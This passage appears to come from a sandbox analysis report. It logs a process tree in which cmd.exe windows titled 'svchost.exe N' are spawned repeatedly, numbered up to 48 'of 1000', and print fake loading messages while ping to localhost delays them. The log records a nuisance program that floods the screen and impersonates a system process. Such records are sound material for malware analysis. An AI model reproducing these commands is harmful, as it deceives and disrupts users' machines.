- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7184
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7848
- C:\Windows\system32\cmd.exe
  cmd /k "color 11 & mode con cols=64 lines=14 & title svchost.exe 20 & echo. & echo loading core module 20 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 31840 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 20 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6660
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7380
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7760
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:6660
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7924
- C:\Windows\system32\cmd.exe
  cmd /k "color 2 & mode con cols=64 lines=14 & title svchost.exe 21 & echo. & echo loading core module 21 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 20130 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 21 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4352
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7188
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:8152
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7712
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7344
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7744
- C:\Windows\system32\cmd.exe
  cmd /k "color 15 & mode con cols=64 lines=14 & title svchost.exe 22 & echo. & echo loading core module 22 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 31211 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 22 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:5440
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6984
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7432
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7884
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:5312
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:8100
- C:\Windows\system32\cmd.exe
  cmd /k "color 2 & mode con cols=64 lines=14 & title svchost.exe 23 & echo. & echo loading core module 23 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 12951 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 23 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2320
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6884
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:792
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7628
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7244
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7844
- C:\Windows\system32\cmd.exe
  cmd /k "color 12 & mode con cols=64 lines=14 & title svchost.exe 24 & echo. & echo loading core module 24 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 21786 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 24 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:1276
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7264
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6980
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7820
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7456
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:6456
- C:\Windows\system32\cmd.exe
  cmd /k "color 7 & mode con cols=64 lines=14 & title svchost.exe 25 & echo. & echo loading core module 25 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 28757 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 25 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5776
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7040
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7152
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7972
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7392
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7824
- C:\Windows\system32\cmd.exe
  cmd /k "color 7 & mode con cols=64 lines=14 & title svchost.exe 26 & echo. & echo loading core module 26 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 28597 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 26 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4580
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6796
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:8180
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7768
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7272
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7064
- C:\Windows\system32\cmd.exe
  cmd /k "color 11 & mode con cols=64 lines=14 & title svchost.exe 27 & echo. & echo loading core module 27 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 19213 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 27 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:4952
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:5092
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7992
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7644
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7340
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7188
- C:\Windows\system32\cmd.exe
  cmd /k "color 2 & mode con cols=64 lines=14 & title svchost.exe 28 & echo. & echo loading core module 28 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 4754 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 28 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:3744
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7116
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7956
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7396
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6664
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7124
- C:\Windows\system32\cmd.exe
  cmd /k "color 15 & mode con cols=64 lines=14 & title svchost.exe 29 & echo. & echo loading core module 29 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 8030 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 29 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5616
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6732
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:8088
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7660
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7352
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:792
- C:\Windows\system32\cmd.exe
  cmd /k "color 15 & mode con cols=64 lines=14 & title svchost.exe 30 & echo. & echo loading core module 30 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 13669 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 30 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:5028
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6868
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7552
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7292
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:6696
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2756
- C:\Windows\system32\cmd.exe
  cmd /k "color 15 & mode con cols=64 lines=14 & title svchost.exe 31 & echo. & echo loading core module 31 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 2504 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 31 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:3292
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:1428
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7944
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7508
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7268
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6712
- C:\Windows\system32\cmd.exe
  cmd /k "color 5 & mode con cols=64 lines=14 & title svchost.exe 32 & echo. & echo loading core module 32 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 30938 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 32 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:2496
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7092
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7116
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7700
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7292
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3224
- C:\Windows\system32\cmd.exe
  cmd /k "color 14 & mode con cols=64 lines=14 & title svchost.exe 33 & echo. & echo loading core module 33 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 20835 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 33 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:4600
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7216
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:6696
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:8108
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7236
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:904
- C:\Windows\system32\cmd.exe
  cmd /k "color 9 & mode con cols=64 lines=14 & title svchost.exe 34 & echo. & echo loading core module 34 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 1761 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 34 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:3712
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:2180
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7908
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7220
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:464
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:4316
- C:\Windows\system32\cmd.exe
  cmd /k "color 4 & mode con cols=64 lines=14 & title svchost.exe 35 & echo. & echo loading core module 35 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 27345 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 35 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6628
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7476
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7348
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7192
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7984
- C:\Windows\system32\cmd.exe
  cmd /k "color 14 & mode con cols=64 lines=14 & title svchost.exe 36 & echo. & echo loading core module 36 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 19785 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 36 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:612
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6636
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7244
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:8188
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6980
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:8124
- C:\Windows\system32\cmd.exe
  cmd /k "color 5 & mode con cols=64 lines=14 & title svchost.exe 37 & echo. & echo loading core module 37 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 10097 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 37 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:3184
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:3152
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:8132
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7708
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7080
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7852
- C:\Windows\system32\cmd.exe
  cmd /k "color 12 & mode con cols=64 lines=14 & title svchost.exe 38 & echo. & echo loading core module 38 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 18065 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 38 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:3256
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6804
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:8016
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7520
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6584
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7260
- C:\Windows\system32\cmd.exe
  cmd /k "color 14 & mode con cols=64 lines=14 & title svchost.exe 39 & echo. & echo loading core module 39 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 25813 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 39 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6816
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7620
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7208
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7764
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:1160
- C:\Windows\system32\cmd.exe
  cmd /k "color 4 & mode con cols=64 lines=14 & title svchost.exe 40 & echo. & echo loading core module 40 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 17659 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 40 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:5680
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6896
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7388
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6948
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6588
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:8128
- C:\Windows\system32\cmd.exe
  cmd /k "color 4 & mode con cols=64 lines=14 & title svchost.exe 41 & echo. & echo loading core module 41 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 20599 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 41 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:5536
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6828
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7128
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7756
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6632
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:7856
- C:\Windows\system32\cmd.exe
  cmd /k "color 12 & mode con cols=64 lines=14 & title svchost.exe 42 & echo. & echo loading core module 42 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 29665 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 42 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5248
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:7160
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7924
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7332
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:6948
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:6840
- C:\Windows\system32\cmd.exe
  cmd /k "color 4 & mode con cols=64 lines=14 & title svchost.exe 43 & echo. & echo loading core module 43 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 5031 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 43 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5676
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6668
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7564
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7376
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:3300
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:1824
- C:\Windows\system32\cmd.exe
  cmd /k "color 6 & mode con cols=64 lines=14 & title svchost.exe 44 & echo. & echo loading core module 44 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 33612 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 44 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:1396
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6616
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6904
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7624
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:7408
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:8168
- C:\Windows\system32\cmd.exe
  cmd /k "color 10 & mode con cols=64 lines=14 & title svchost.exe 45 & echo. & echo loading core module 45 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 31688 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 45 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5472
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6920
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    PID:7648
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    PID:7204
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:396
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:2692
- C:\Windows\system32\cmd.exe
  cmd /k "color 1 & mode con cols=64 lines=14 & title svchost.exe 46 & echo. & echo loading core module 46 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 12739 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 46 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:5868
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:6644
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7260
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:8084
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:7452
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    PID:5208
- C:\Windows\system32\cmd.exe
  cmd /k "color 7 & mode con cols=64 lines=14 & title svchost.exe 47 & echo. & echo loading core module 47 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 29372 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 47 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:4792
- - C:\Windows\system32\mode.com
    mode con cols=64 lines=14
    3⤵
    PID:3580
- - C:\Windows\system32\PING.EXE
    ping -n 2 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:7936
- - C:\Windows\system32\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7468
- - C:\Windows\system32\PING.EXE
    ping -n 12 127.0.0.1
    3⤵
    PID:6976
- - C:\Windows\system32\PING.EXE
    ping -n 45 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:7140
- C:\Windows\system32\cmd.exe
  cmd /k "color 5 & mode con cols=64 lines=14 & title svchost.exe 48 & echo. & echo loading core module 48 of 1000 ... & ping -n 2 127.0.0.1 >nul & echo [OK] & echo binding port 10337 & ping -n 3 127.0.0.1 >nul & echo [OK] & echo syncing table 48 & ping -n 12 127.0.0.1 >nul & echo [OK] awaiting input & ping -n 45 127.0.0.1 >nul & echo still busy, do not close"
  2⤵
  - Executes a command shell one-liner
  PID:2584
